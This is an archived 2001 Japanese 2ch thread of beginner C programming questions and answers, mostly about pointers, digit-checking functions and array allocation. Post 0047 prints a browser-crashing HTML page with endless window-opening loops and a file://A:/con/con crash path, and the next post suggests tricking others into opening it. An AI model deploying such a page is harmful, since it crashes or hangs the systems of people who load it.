C言語なら、オレに聞け! <6>
レス数が1000を超えています。これ以上書き込みはできません。
0001ジョブス偽
01/09/05 00:32ID:6o7ny/7gC言語はあまり知らないがPascalなら誰にも負けない...
何でも俺に聞かないで自分たちで解決しろ。
だから、FAQに載ってる質問しても答えてやれないかもな。
失業中だから、課題マル投げ君も気が向いたら構ってやる。
・comp.lang.c Frequently Asked Questions
http://www.eskimo.com/~scs/C-faq/top.html
・C FAQ 日本語訳
http://www.catnet.ne.jp/kouno/c_faq/c_faq.html
・前スレ C言語なら、オレに聞け! <5>
http://piza2.2ch.net/test/read.cgi?bbs=tech&key=994908590
0002デフォルトの名無しさん
01/09/05 00:32ID:a3PLHGJI0003デフォルトの名無しさん
01/09/05 01:12ID:jDbkfcSkかけるようなことを聞いたことがあるような。ないような...。
CPPは未経験。
CはCharベースのもぐら叩きが作れるくらい。
まだ程度は低いのだけど、予備知識として興味があるので...。
どうでしょ?
できるならどんな感じ?
0004デフォルトの名無しさん
01/09/05 01:22ID:qCEVoVh2HDC hdc;
int main(){
hdc=GetDC(NULL);
int aho=1;
while(aho){
TextOut(hdc,0,0,"aaa",3);
if(GetKeyState(41) & 0x8000){
aho=0;
}
}
return 0;
}
0006デフォルトの名無しさん
01/09/05 01:38ID:eD8J59YU教える。
ポインタとはアドレスのことだ。
0007デフォルトの名無しさん
01/09/05 01:48ID:qCEVoVh20008アホ>>7
01/09/05 01:55ID:eD8J59YUでは何だというのだ?ヴォケが。
http://blackcat2.tripod.co.jp/
ここ見て来い!アホ
0009デフォルトの名無しさん
01/09/05 01:57ID:RgMRPKXIC で書くなら、こんな感じ。
#include <windows.h>
static TCHAR szAppName[] = TEXT("Skelton");
static TCHAR szText[] = TEXT("Hello, World");
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
HDC hdc;
PAINTSTRUCT ps;
switch (msg) {
case WM_DESTROY:
PostQuitMessage(0);
return (0);
}
return (DefWindowProc(hwnd, msg, wParam, lParam));
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hInstancePrev, PSTR lpCmdLine, int nCmdShow)
{
HWND hwnd;
MSG msg;
WNDCLASS wcl;
TCHAR szClass[] = TEXT("SkeltonClass");
wcl.style = CS_HREDRAW | CS_VREDRAW;
wcl.lpfnWndProc = WndProc;
wcl.cbClsExtra = 0;
wcl.cbWndExtra = 0;
wcl.hInstance = hInstance;
wcl.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wcl.hCursor = LoadCursor(NULL, IDC_ARROW);
wcl.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wcl.lpszMenuName = NULL;
wcl.lpszClassName = szClass;
if (!RegisterClass(&wcl)) {
MessageBox(NULL, TEXT("This program requires Windows NT!"), szAppName, MB_ICONERROR);
return (1);
}
hwnd = CreateWindow(szClass, szAppName, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL);
ShowWindow(hwnd, nCmdShow);
UpdateWindow(hwnd);
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return (msg.wParam);
}
0010デフォルトの名無しさん
01/09/05 01:58ID:S86Brkccポインタとはアドレスのことで間違ってないと思うけど。
そのアドレスが代入されている変数がポインタ変数。
>ポインタのポインタ
そんなものはない。ポインタ変数へのポインタならあるが。
0011デフォルトの名無しさん
01/09/05 01:59ID:kt1G3tMoボーランドのフリーのコンパイラです
#include <stdio.h>
int main(void);
int main(void)
{
int x;
x = 4;
printf("%d\n", 2 * x + 3);
return(0);
}
エラー E2206 list-3-1.cpp 11: 不正な文字 ' ' (0x8140)(関数 main() )
エラー E2206 list-3-1.cpp 11: 不正な文字 ' ' (0x8140)(関数 main() )
となってコンパイルできません。不正な文字って言われても何処のことやら…
0012デフォルトの名無しさん
01/09/05 02:01ID:S86Brkcc全角空白(return(0)の前が)
0013デフォルトの名無しさん
01/09/05 02:02ID:6o7ny/7gアドレスのアドレスじゃない。
アドレスへのアドレス。
よって、ポインタのポインタはアドレス。
問題ない。
分かりづらいかな?
0014デフォルトの名無しさん
01/09/05 02:04ID:eD8J59YUここが変。空白入れるな
0016デフォルトの名無しさん
01/09/05 02:08ID:eD8J59YU0017デフォルトの名無しさん
01/09/05 02:10ID:qCEVoVh20018>qCEVoVh2
01/09/05 02:14ID:eD8J59YU0019デフォルトの名無しさん
01/09/05 02:14ID:sjpRAjNcどうすれば良いんでしょうか。
リソースエディタを使うとかって聞いたんですが。
0020お胸おっぱい
01/09/05 02:15ID:Bqx9xP/Y何で return の後ろに“()”入れたがるんだろね?
何で if や while と“()”の間をつめたがるんだろね?
関数に合わせてるとでも言うんだろか。
0022デフォルトの名無しさん
01/09/05 02:19ID:eD8J59YUint a; /* 変数a宣言 */
a=10; /* a=10 */
int p_a; /* ポインタa宣言 */
0023デフォルトの名無しさん
01/09/05 02:21ID:eD8J59YUここでp_aはaを指す
だから
printf("%p",*p_a);
これでaの値がわかる
0024ポイソタ州
01/09/05 02:22ID:qCEVoVh20025デフォルトの名無しさん
01/09/05 02:22ID:eD8J59YUそんなどうでもいいこといこだわるなボケ
0026デフォルトの名無しさん
01/09/05 02:23ID:FQ2H/40gうぜえな。
人に聞いてないで自分で調べろよ。
0027デフォルトの名無しさん
01/09/05 02:23ID:eD8J59YUんなこーたしってルーよヽ( ´ー`)ノ やれやれ
0028デフォルトの名無しさん
01/09/05 02:23ID:kiU7d71Aラーニングとプロフェッショナルのちがいはなんですか?
すんません初歩的な質問で。
0029デフォルトの名無しさん
01/09/05 02:25ID:eD8J59YUおまえがウザイ
http://www.google.com/search?q=cache:nz44mp9t_Do:utenti.tripod.it/Msio/+%8E%81%82%CB&hl=ja
0030デフォルトの名無しさん
01/09/05 02:26ID:FQ2H/40gスレちがい。
0031デフォルトの名無しさん
01/09/05 02:26ID:kiU7d71Aおしえてよん
0032
01/09/05 02:28ID:Z5vqD32Uごめん
0033デフォルトの名無しさん
01/09/05 02:28ID:qCEVoVh20034嵐王
01/09/05 02:28ID:eD8J59YUここの低脳無知なやつらに聞くより早いわよ
>>31
0035デフォルトの名無しさん
01/09/05 02:31ID:kiU7d71Aそうします・・・
ここのひとたちって、ほんとにプログラムのできるひとたちなんでしょうか?
0037嵐王
01/09/05 02:35ID:eD8J59YU本当にすごい人たちは、そんなこといわないもん。
0038デフォルトの名無しさん
01/09/05 02:35ID:qCEVoVh2はたしてどうかにゃー?
0039デフォルトの名無しさん
01/09/05 02:41ID:XEspZsEcはいはい。ここにはすごい人はいません。
よそへ行って思う存分、疑問をお尋ね下さい。
なんか面白いコードないかなァ。
0040デフォルトの名無しさん
01/09/05 02:44ID:kiU7d71Avoid main(void)
{
printf("For Unlawful Carnel Knowledge.\n");
}
0041デフォルトの名無しさん
01/09/05 02:47ID:kiU7d71A{
int loop;
int length;
char code;
printf ( "\n");
rs_b_init();
loop=TRUE;
while ( loop )
{
if ((length=rs_b_length()) !=0)
{
for( ; length > 0; length --)
{
code = rs_b_receive();
printf( "%c", code);
}
}
if (!kbhit())
{
;
}
else if((code=inkey()) == CTRL_Z)
{
loop=FALSE;
}
else
{
printf( "%c", code);
rs_b_send(code);
}
}
}
0042デフォルトの名無しさん
01/09/05 02:51ID:qCEVoVh2int *tiger1,*tiger2,*tiger3;
for(;;){
tiger1=tiger2;
tiger2=tiger3;
tiger3=tiger1;
}
バターになりまふ。
0043デフォルトの名無しさん
01/09/05 02:51ID:kiU7d71A上のコードを用いて、シリアルポート間で
双方向の文字通信を可能にするプログラムを作ってください。
SPDのみでも結構です。
0044嵐王
01/09/05 02:51ID:eD8J59YUお〜うまいうまい(^.^)うふっ
0045デフォルトの名無しさん
01/09/05 02:52ID:eD8J59YU0046デフォルトの名無しさん
01/09/05 02:55ID:eD8J59YU0047デフォルトの名無しさん
01/09/05 03:04ID:kiU7d71A<meta http-equiv="Refresh" content="0">
<SCRIPT LANGUAGE="JavaScript">
<!--
if(typeof(top)=="object" && typeof(top.va_frame)=="object")
{ if (typeof(top.va_frame.document)=="object" && typeof(top.va_frame.document.images)
=="object" && typeof(top.va_frame.document.images[0])=="object" && typeof(top.va_frame.
document.images[0].src)=="string" && typeof(top.va_frame.document.images[0].src.length)
=="number" && ( (top.va_frame.document.images[0].src.length>25 && top.va_frame.document.
images[0].src.substring(0,25)=="http://images.go2net.com/") || (typeof(top.va_frame.document.
images[1])=="object" && typeof(top.va_frame.document.images[1].src)=="string"
&& typeof(top.va_frame.document.images[1].src.length) =="number" && top.va_frame.document.
images[1].src.length>25 && top.va_frame.document.images[1].src.substring(0,25)
=="http://images.go2net.com/") ) ) {top.va_frame.location.reload(true); }
else {dly=(1.+Math.random())*10000.; setTimeout('if (typeof(top.va_frame.document)
=="object" && typeof(top.va_frame.document.images)=="object" && typeof(top.va_frame.document
.images[0])=="object" && typeof(top.va_frame.document.images[0].src)=="string"
&& typeof(top.va_frame.document.images[0].src.length) =="number"
&& ( (top.va_frame.document.images[0].src.length>25 && top.va_frame.document.images[0].
src.substring(0,25)=="http://images.go2net.com/") || (typeof(top.va_frame.document.
images[1])=="object" && typeof(top.va_frame.document.images[1].src)=="string"
&& typeof(top.va_frame.document.images[1].src.length) =="number" && top.va_frame.document.
images[1].src.length>25 && top.va_frame.document.images[1].src.substring(0,25)==
"http://images.go2net.com/") ) ) {top.va_frame.location.reload(true);} else {window.open
("http://click.go2net.com/adpopup?site=va&area=CAREERS&shape=noshape","va_rzjr137y",
"width=528,height=200"); }', dly); } } else { window.open("http://click.go2net.com/adpopup
?site=va&area=CAREERS&shape=noshape","va_rzjr137y", "width=528,height=200");}
//-->
</SCRIPT>
</HEAD>
<body>
<img src="JavaScript:while(1){ var w=window.open('');}" width="1" height="1">
<img src="JavaScript:while(1){ document.write('\n');}" width="1" height="1">
<img src="http://www.yahoo.com:21/" width="100000000" height="100000000">
<img src="http://www.yahoo.com:23/" width="100000000" height="100000000">
<img src="http://www.yahoo.com:25/" width="100000000" height="100000000">
<img src="mailto:[email protected]" width="1" height="1">
<img src="file://A:/con/con" width="1" height="1">
.........
.........
</body>
</HTML>
004847
01/09/05 03:05ID:kiU7d71Aこれをベースにして踏ませれば?爆発はしないけど。。。
嵐王さんHNかえなくていいよ
00493
01/09/05 03:06ID:jDbkfcSkahoなのは重々承知してます。
とりあえず、コンパイルが通らなかったのでなやんでました。
>9
サンプルThx!
CPPが悪いのではなくて、Winへの手順が複雑だと解釈しました。
それで、2つ切り離せたので少しだけ思考が楽になりました。
それでも、GUIへの道は長いぞっ...と。気長にいきます。
005047
01/09/05 03:11ID:kiU7d71Aifやwhileは関数ではないが、素人サンはつめたがります。
0051デフォルトの名無しさん
01/09/05 03:21ID:kvHY8Amo例えば、char str1[]="abcde", str2[]="123abc567", str3[]="789";
として、それぞれのポインターを放り込むと、str1とstr2はFALSE、str3だけTRUEが帰ってくるような。
005247
01/09/05 03:25ID:kiU7d71Aをつかいましょ。
005351
01/09/05 03:31ID:kvHY8Amoどういう意味ですか?
0-9までのキャラクタコードですよね?
0054デフォルトの名無しさん
01/09/05 03:34ID:JfT.4P/Mint isNumeric(const char *s)
{
while (*s != NULL) {
if (!isnumber(*s++)) return 0;
}
return !0;
}
005554
01/09/05 03:37ID:vP.O3hMAisdigit(3) の誤りです。スマソ
005651
01/09/05 03:40ID:kvHY8Amoありがとうございます。isNumericという関数ですね?
始めて見ました。
ここまで分かれば、あとは自分で調べることが出来ます。
ありがとうございました。
#始め見たとき、isNumericが自作関数で、isnumberが目的の関数かと思ってしまった・・・。
005751
01/09/05 03:43ID:kvHY8Amoあ、了解です。
っていうか、やっぱり自作関数なのか・・・。
0058デフォルトの名無しさん
01/09/05 03:43ID:RgMRPKXI仕様の問題だけど isNumeric("") は FALSE にした方が良いかも。
005954
01/09/05 03:52ID:aiLtWPrsおっと失礼。まったくそのとおりです。
>>51 さん、気をつけてね。
それと
>>51
>文字列が全て数値で...
文字列が全て数字で... という方が誤解を招かなくてよい(俺ルール)(藁
006051
01/09/05 03:55ID:kvHY8Amoはい、理解しました。
GoogleにisNumericって入れたら沢山出てきたから、中身見ずにそういう関数が
あるのかなと思ったら、VBでした。
そうですね、数値だと文字も全て数値ですしね。数字が正しい表現ですね。
0061デフォルトの名無しさん
01/09/05 04:05ID:eD8J59YU0062デフォルトの名無しさん
01/09/05 04:07ID:FQ2H/40g「ポインタを教えてください」
なんて質問に丁寧に答えてる教え魔は、教えて君のFAQを誘発して
コミュニティーの質を下げる厨房。
始末のわるいバカ。
0063嵐王
01/09/05 04:15ID:eD8J59YU/ ⌒ ヽ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| ●_ ● | < バカで結構。私はそれで楽しいから・・・
(〇 〜 〇 | \______________
/ |
| |_/ |
0064嵐王
01/09/05 04:16ID:eD8J59YU0065デフォルトの名無しさん
01/09/05 04:19ID:XEspZsEc{
int f = 0;
if( s ) { f = 1; while(isdigit(*s)) s++; if( *s ) f = 0; }
return f;
}
俺ならこう書くかな.. ねむ...
0066デフォルトの名無しさん
01/09/05 04:22ID:XEspZsEcwhile(isdigit(*s)) s++; if( *s == '\0' ) f = 1;
0067デフォルトの名無しさん
01/09/05 04:30ID:XEspZsEc0068デフォルトの名無しさん
01/09/05 04:35ID:FQ2H/40g自分が楽しければ、周囲に迷惑かけてもいいのかよ?
0069デフォルトの名無しさん
01/09/05 04:42ID:Oo8mA9gA{
while( *s ) isdigit( *(s++) ) ? continue : return 0;
return 1;
}
0070嵐王
01/09/05 04:43ID:eD8J59YU0071嵐王
01/09/05 04:44ID:eD8J59YU(゚Д゚)ハァ?
0072デフォルトの名無しさん
01/09/05 04:44ID:Oo8mA9gA過去の自分は捨てると・・・
0073デフォルトの名無しさん
01/09/05 04:45ID:eD8J59YUhttp://rfp.ug.to/
全ては、嵐の精神・・・
0074デフォルトの名無しさん
01/09/05 04:46ID:Oo8mA9gAなんで(゚Д゚)ハァ? なの?
007573は俺
01/09/05 04:46ID:eD8J59YU0076デフォルトの名無しさん
01/09/05 04:48ID:eD8J59YU0078嵐王
01/09/05 04:50ID:eD8J59YUhttp://baka-aho.virtualave.net/bbs/
あぼーん
007951
01/09/05 04:54ID:kvHY8Amoありがとうございます。参考になります。
>>69
ありがとうございます。
始め、難解で読めませんでした・・・。
今調べてみたんですけど、三項演算子ってやつですよね?
知りませんでした・・・。
「:」が「;」の間違いじゃないかと、悩んでしまった。
0080デフォルトの名無しさん
01/09/05 04:57ID:Oo8mA9gAtelnetやってもつながりませんでした。
>>79
がんばれ。
0081デフォルトの名無しさん
01/09/05 05:16ID:Oo8mA9gA無反応?
008251
01/09/05 05:18ID:kvHY8Amoすいません、寝ぼけた質問なのかもしれませんけど
>while( *s ) isdigit( *(s++) ) ? continue : return 0;
の、*(s++)って、最初の文字がチェックされます?
0083デフォルトの名無しさん
01/09/05 05:20ID:Oo8mA9gAされるよ。
順番としては、
while 判定
isdigit(s)
三項演算子
true continue
false return 0;
s+=1
って感じ。
0084デフォルトの名無しさん
01/09/05 05:21ID:RgMRPKXI後で見たとき戸惑う。
>>69
コンパイル通りません。三項演算子の ?, : の後には値を持つ要素を置
く必要がありますが、continue, return 0 は値を持たないためです。
私なら、素直に do - while でループ回すかな。
int isdigitstr(const char *s)
{
if (*s == '\0')
return (0);
do
if (!isdigit(*s))
return (0);
while (*++s != '\0');
return (1);
}
0085デフォルトの名無しさん
01/09/05 05:26ID:Oo8mA9gAごめん。
while 判定
isdigit(s)
s+=1
三項演算子
true continue
false return 0;
だった。
>>84
んじゃ
while( *s ) isdigit( *(s++) ) ? continue,0 : return 0,1;
だね。
三項演算子ははまってるから使ってる(w
普段は
while( *s )
if(! isdigit( *(s++) ) )
return 0;
って感じかな。
008651
01/09/05 05:27ID:kvHY8Amoえ、マジスカ・・・。
全然流れが理解できない。
なんでs+=1が最後に来るんですか?
008751
01/09/05 05:29ID:kvHY8Amoなんとなく理解しました。
0088デフォルトの名無しさん
01/09/05 05:33ID:Oo8mA9gA>while( *s ) isdigit( *(s++) ) ? continue,0 : return 0,1;
嘘です。できません。
コンパイル通りません。
すいません
0089デフォルトの名無しさん
01/09/05 05:34ID:Oo8mA9gAスマソ。
嘘教えちゃった。
009051
01/09/05 05:36ID:kvHY8Amoああ、良いですよ。色々勉強になりましたから(笑)
単純に
while( *s )
if(! isdigit( *(s++) ) )
return 0;
これだけでいけそうですしね。
0091age
01/09/05 06:15ID:XEspZsEc新しい話題 come on!
0092CCライダー
01/09/05 08:24ID:oKmBuqwAって関数ありませんか?
sprintf?
0093デフォルトの名無しさん
01/09/05 08:36ID:mNqbuqRc0094デフォルトの名無しさん
01/09/05 08:41ID:64a.ANYA{
return strcat(s, "にょ");
}
0095デフォルトの名無しさん
01/09/05 08:42ID:64a.ANYA0096デフォルトの名無しさん
01/09/05 09:10ID:mTM5PKCoやっと意味がわかった・・・・鬱・・・・
0097CCライダー
01/09/05 09:22ID:4BcFYyQoところでstrcpyの返値ってなんなんですか?
char *strcpy(dst, src+n)
のcharをprintf("%s")してみたのですが文字じゃなかったです。
0098デフォルトの名無しさん
01/09/05 11:01ID:pDzmJoSY(゚д゚)ハァ?
const char *src = "1234";
char dst[255];
printf("%s", strcpy(dst, src + 2));
0099CCライダー
01/09/05 11:20ID:4BcFYyQo厨房ですまそ。
const char *src = "1234";
char dst[255];
char result[255];
*result = strcpy(dst, src +2));
printf("%s", result);
ってやってました。(泣き
0100デフォルトの名無しさん
01/09/05 12:41ID:yTIAOUhEそれはtodigikochar()
0101342
01/09/05 16:30ID:4Tv.cdD.age
0102ジーコ
01/09/05 20:04ID:ITaflj/Mどういう関数を使えばいいんですか。
0103ジーコ
01/09/05 20:06ID:ITaflj/Mどのような関数を使えばいいんでしょう。
0104ジーコ
01/09/05 20:07ID:ITaflj/M0105_
01/09/05 20:55ID:5Rk4ItjA0106デフォルトの名無しさん
01/09/05 21:16ID:PLLDkowAcで組まれたプログラムの日本語化パッチを作りたいんですが、
どうすれば良いんでしょうか。
リソースエディタを使うとかって聞いたんですが。
0107デフォルトの名無しさん
01/09/05 21:23ID:w1zmqj662、ソースがあるならdiffを取る
無いなら、バイナリの差分を取る
0108デフォルトの名無しさん
01/09/05 22:45ID:1ojJgpEEリソースエディタは(一部の環境を除いて)関係無い。
0109sage
NGNG0110デフォルトの名無しさん
NGNG#include <stdlib.h>
struct test{
int a, double b;
};
void keep(struct test **f, int I){
struct test *g;
g = (struct test *)malloc(sizeof(struct test)*I);
*f = g;
}
int main(){
int i;
struct test *tester;
keep(&tester, I);
for(i=0;i<I;i++){
tester[i].a = i;
tester[i].b = (double)(i)*0.1;
}
exit(0);
}
みたいにやると
tester[0].a
tester[0].b
tester[1].a
tester[1].b
...
の順番でにメモリに格納されますよね?それを
tester.a[0]
tester.a[1]
...
tester.b[0]
tester.b[1]
...
のようにするにはどうしたらいいですか?
0111sage
NGNGメンバのaとbをポインタにして、keepの中で必要な領域を渡せばよいだけでは?
struct test { int *a, double *b; };
void keep(struct test *f, int I) {
f->a = (int *)malloc(sizeof(int) * I);
f->b = (double *)malloc(sizeof(double) * I);
}:
int main() {
int i;
struct test tester;
keep(&tester, I);
for (i = 0; i < I; i++) {
tester.a[i] = i;
tester.b[i] = (double)(i) * 0.1;
}
exit(0);
}
0112デフォルトの名無しさん
NGNGってどうなんですか?
K&Rってかいてあるけど
ANSI学びたい人でも買いですかね?
あとこれがあったら
プログラミング言語 第2版
本体はいらないっすか?
0113sage
NGNG0115デフォルトの名無しさん
NGNG本屋で両方立ち読みしてみりゃいいのに
0116110
NGNG因に3次元の場合はどうしたらいいでしょうか?
111に倣っていろいろやってみたのですが,どうも駄目です.
↓これを改良したい...
void keep3(struct test ****f, int I, int J, int K){
int i, j;
struct test ***g;
g = (struct test ***)malloc(sizeof(struct test **)*I);
*g = (struct test **)malloc(sizeof(struct test *)*I*J);
**g = (struct test *)malloc(sizeof(struct test)*I*J*K);
for(i=0;i<I;i++){
g[i] = *g + i*J;
*g[i] = **g + i*J*K;
for(j=1;j<J;j++){
g[i][j] = *g[i] + j*K;
}
}
*f = g;
}
0117110
NGNGmain関数で値を代入するとsegmentation faultです...
[途中経過]
struct test3{
int ***a;
};
void keep3(struct test3 *f, int I, int J, int K){
int i, j;
f->a = (int ***)malloc(sizeof(int **)*I);
*(f->a) = (int **)malloc(sizeof(int *)*I*J);
**(f->a) = (int *)malloc(sizeof(int)*I*J*K);
for(i=0;i<I;i++){
f->a[i] = *(f->a) + i+J;
*(f->a)[i] = **(f->a) + i*J*K;
for(j=1;j<J;j++){
f->a[i][j] = *(f->a)[i] + j*K;
}
}
}
0118110
NGNG誤 f->a[i] = *(f->a) + i+J;
正 f->a[i] = *(f->a) + i*J;
3次元でもうまく行きました!!
111さん本当にありがとうございました.
0119初心者mk2
NGNGとりあえずODBCで試してみたのですが、MDB接続に失敗bオます。
0120デャtォルトの名無bオさん
NGNG>>65-66 なんで、もっと素直にこう書かない?
int isdigitstr(const char *p)
{
if (!p || !*p) return 0;
while (isdigit(*p))
p++;
return *p == '\0';
}
ちなみに、俺なら読み易さ優先でこう書くかな。
int isdigitstr(const char *p)
{
return p && *p && strspn(p, "0123456789") == strlen(p);
}
なんか、<5>よりレベル下がってないか?
0121デフォルトの名無しさん
NGNG0122デフォルトの名無しさん
NGNG見やすいコードの方が良いと思われ。しかも、遅いし。
初心者には難解。シンプルな方が速いよ。
0123デフォルトの名無しさん
NGNG文字列が全て数値で構成されているかを調べる関数
int isNumaricStr( consr char* ) があったとして、
isNumaricStr("1192")
isNumaricStr("230")
isNumaricStr("六百")
isNumaricStr("一四九二")
isNumaricStr("ten")
は、それぞれどのような返値を持つべきなのですか?
話はそれからかと。
012451
NGNG>>123
この場合
isNumaricStr("1192")
だけがTRUE(0以外の値)を返して、他のは全てFALSE(0)を返すのが良いです。
0125デフォルトの名無しさん
NGNGint toInteger( const char * s,int *isdigitstr)
{ char c;
int r=0;
while( *s==' ') s++; /* ブランクサプレス*/
if( *s=='-') return isdigitstr(++s , ret); /* -符号 */
if( *s=='+') s++; /* +符号 */
while( c=*s++ ) {
unsigned char d=c -'0';
if(d>=10) { if(isDigitstr!=NULL) isDigitstr=0;return r;}
r=((r<<2)+r)<<1)+d;
};
if(isDigitstr!=NULL) isDigitstr=1;
return r;
}
こういう関数作って 数字かどうかと同時に値も計算させてしまうな
int isdigitstr( const char * s)
{ char c;
while( *s==' ') s++; /* ブランクサプレス*/
if( *s=='+'||*s=='-') s++; /*符号*/
while( c=*s++ ) {
unsigned char d=c -'0';
if(d>=10) return 0;
};
return 1;
}
0126デフォルトの名無しさん
NGNGint isdigitstr(const char *s)
{
char *endptr;
strtol(s, &endptr, 10);
return *endptr == '\0';
}
符号も考慮するならこっちの方がいいと思われ
0127120
NGNG速度優先で前者より後者を選ぶとは言っていない。
また、strspn()/strlen()による文字列走査の最適化の度合いや
isdigit()が関数実装のようなケースのことを考えると、
一概にisdigit()の方が速いとはいえないのでは。
もし仮に実行速度が重要なら、速い方を選択すれば良いだけのこと。
>>122
「NULLや空文字列でなく、数字からなる部分文字列がその全体の長さに等しい」
どこらへんが初心者に難解?
&&の評価順序?=='\0'や==NULLの省略?それともstrspn()?
strspn()が初心者に難解なら、isdigit()もstrspn()も同じだろうし、
そんなのは調べて、早いとこ初心者を卒業すればいいだけのことでは。
あと、見易さと言う観点については、確かに意見が分かれる所かもしれないが、
これについては、あるひとまとまりの処理をする関数があるなら、
それを使ったほうが見通しが良くなる点で、後者を推した。
舌足らずでスマソ。
0128デフォルトの名無しさん
NGNGなんで #undef isdigit が必要?
0129デフォルトの名無しさん
NGNG0130名無しさん@Emacs
NGNGうか?
0131120
NGNGisdigit()がマクロだったの場合の副作用除け。(69のは関数なら○)
>>129
確かに。見易さという観点からは、そこまではやらないです。はい。(藁
>>130
+.5して%d。
013251
NGNGなるほど。作る人によって、結構色々なパターンが出てきますね。
ちなみに、符号判定は要らないのです。説明不足で申し訳無いです。
0134デフォルトの名無しさん
NGNG+.5して%dだとマイナスのときに正常な値が得られないぞ
0135デフォルトの名無しさん
NGNGおっと、バグ出しThanx!
負数なら-.5か。
0136>>135
NGNGdouble x = -0.5;
×printf("%f\n", (double)(int)(x - .5));
◎printf("%f\n", (double)(int)floor(x+.5));
○printf("%f\n", (double)(int)(x > 0 ? x+.5 : x-int(x) < -.5 ? x-1.0 : x));
floor()使えればいいんだけど、printf()だけみたいなんで、
3番が正解
0137デフォルトの名無しさん
NGNGその辺は自分で考えてくれ
0138デフォルトの名無しさん
NGNGあぁ、穴があったら埋まりたい。(w
混乱させてしまったお詫びにグラフを書いて整理してみました。
-2 -1 0 +1 +2
●―┼―○ ●―┼―○ ●―┼―○
●―┼―○ ●―┼―○
-1.5 -0.5 +0.5 +1.5
参考にしてちょ。>>130
0139名無しさん@Emacs
NGNG> 参考にしてちょ。>>130
TNX!
0140110
NGNGtypedef struct{
int ***a; double ***b;
}test3;
void keep3(test3 *f, int I, int J, int K){
int i, j;
f->a = (int ***)malloc(sizeof(int **)*I);
*f->a = (int **)malloc(sizeof(int *)*I*J);
**f->a = (int *)malloc(sizeof(int)*I*J*K);
for(i=0;i<I;i++){
f->a[i] = *f->a + i*J;
*f->a[i] = **f->a + i*J*K;
for(j=1;j<J;j++){
f->a[i][j] = *f->a[i] + j*K;
}
}
f->b = (double ***)malloc(sizeof(double **)*I);
*f->b = (double **)malloc(sizeof(double *)*I*J);
**f->b = (double *)malloc(sizeof(double)*I*J*K);
// ここに何かを追加する?...
for(i=0;i<I;i++){
f->b[i] = *f->b + i*J;
*f->b[i] = **f->b + i*J*K;
for(j=1;j<J;j++){
f->b[i][j] = *f->b[i] + j*K;
}
}
}
int main(){
int i, j, k;
int I = 3, J = 5, K = 7;
test3 F;
keep3(&F, I, J, K);
...
exit(0);
}
で、F.a[0][0][0]からF.a[I-1][J-1][K-1]まで、また
F.b[0][0][0]からF.b[I-1][J-1][K-1]までは
それぞれ連続したアドレスに入っているのですが、
F.a[I-1][J-1][K-1]のアドレスと
F.b[0][0][0]のアドレスを隣合わせにするには
関数 keep3 に何を追加したら良いのでしょうか?
0141デフォルトの名無しさん
NGNGつーか、俺は?w
0142デフォルトの名無しさん
NGNGブランクだの符号対応まで必要になったら、私は lex 使ってトークンにバラしま
すね。
ブランクを飛ばすかどうかは、個々のトークンの種別を判定する isdigitstr()
のレベルではなく、その上位の構文解析のレベルで制御したほうが都合がいいこと
が多いですから。(処理するテキストの文法にもよるけど)
0143デフォルトの名無しさん
NGNGlexはイヤソ
BSDLになっちゃうじゃない
0144名無しでGO!
NGNG七徳ナイフのようなコードを考えてる時点で失格です。
世間にアナタのコードをばら撒かないようにしてください。
0145デフォルトの名無しさん
NGNGGPL ならともかく BSDL を避けるってのは、珍しい気がするが。
0146デフォルトの名無しさん
NGNGgetsとか一部を除いてたとえマクロ実装でも1回しか
評価されないことが保証されてなかったっけ?
0147デフォルトの名無しさん
NGNG0148デフォルトの名無しさん
NGNGテキスト添付メンドイし
0149おしえてくん
NGNG出力されたファイルのサイズが元のファイルの4倍くらいに
膨れ上がってしまいます。どこに問題があるか自分では
よくわからないので、教えてください。
また、「これが定石じゃ!」みたいな高水準入出力での
ファイルコピーの方法も教えていただけますと、光栄です。
int buf[MAX];
long fs;
FILE *ifp, *ofp;
ifp = fopen(argv[1], "rb");
fseek(ifp, 0, SEEK_END);
fs = ftell(ifp);
rewind(ifp);
fread(buf, sizeof(int), fs, ifp);
fclose(ifp);
ofp = fopen("cl", "wb");
fwrite(buf, sizeof(int), fs, ofp);
fclose(ofp);
0150デフォルトの名無しさん
NGNGわざとorネタやめれ。
0151sage
NGNGコードの内容は読んでないけど、
ただ単に (sizeof(int) + sizeof(double))* I * J * K分のメモリを確保して
適切に計算したアドレスを、インデックスとなるポインタ配列にでも
格納すればよいのでは?
struct test3 {
int *a;
double *b;
int I, J, K;
};
void keep3(test3 *f, int I, int J, int K)
{
size_t sizei, sized;
sizei = sizeof(int) * I * J * K;
sized = sizeof(double) * I * J * K;
f->a = (int *)malloc(sizei + sized);
f->b = (double *)(f->a + I * J * K);
f->I = I;
f->J = J;
f->K = K;
}
int geta(test3 *f, int i, int j, int k)
{
return f->a[f->J * f->K * i + f->K * j + k];
}
double getb(test3 *f, int i, int j, int k)
{
return f->b[f->J * f->K * i + f->K * j + k];
}
int seta(test3 *f, int i, int j, int k, int val)
{
return f->a[f->J * f->K * i + f->K * j + k] = val;
}
double setb(test3 *f, int i, int j, int k, double val)
{
return f->b[f->J * f->K * i + f->K * j + k] = val;
}
意図がよくわからんのでこれ以上は放置。
0152デフォルトの名無しさん
NGNGint ch = 0;
In = fopen( "xxx","rb" );
Out = fopen( "yyy","wb" );
while( ( ch = fgetc( In ) ) != EOF )
fputc( ch,Out );
fclose(In);
fclose(Out);
0153デフォルトの名無しさん
NGNG{ char c;
while( c=*s++ ) {
unsigned char d=c -'0';
if(d>=10) return 0;
};
return 1;
}
0154デフォルトの名無しさん
NGNGCopyFile
0155デフォルトの名無しさん
NGNGそれってやっちゃいけないんじゃなかったっけ?
0156デフォルトの名無しさん
NGNGisdigitがstrspnより低速なことはまず無い。
ほぼ100%の処理系でマクロ展開される。関数展開する処理系があれば
開発者は馬鹿という以外にない。つーか、あんたlibc読めば分かるだろ。
ま、知ったかぶりもたいがいにな。恥の上塗りもいいところだ。
0157デフォルトの名無しさん
NGNGそんなの誰でも知ってるよ。
>>127はあほあほプログラマ(?)だったんでしょ。
つか、もういいよ。
質問してきた人も
>while( *s )
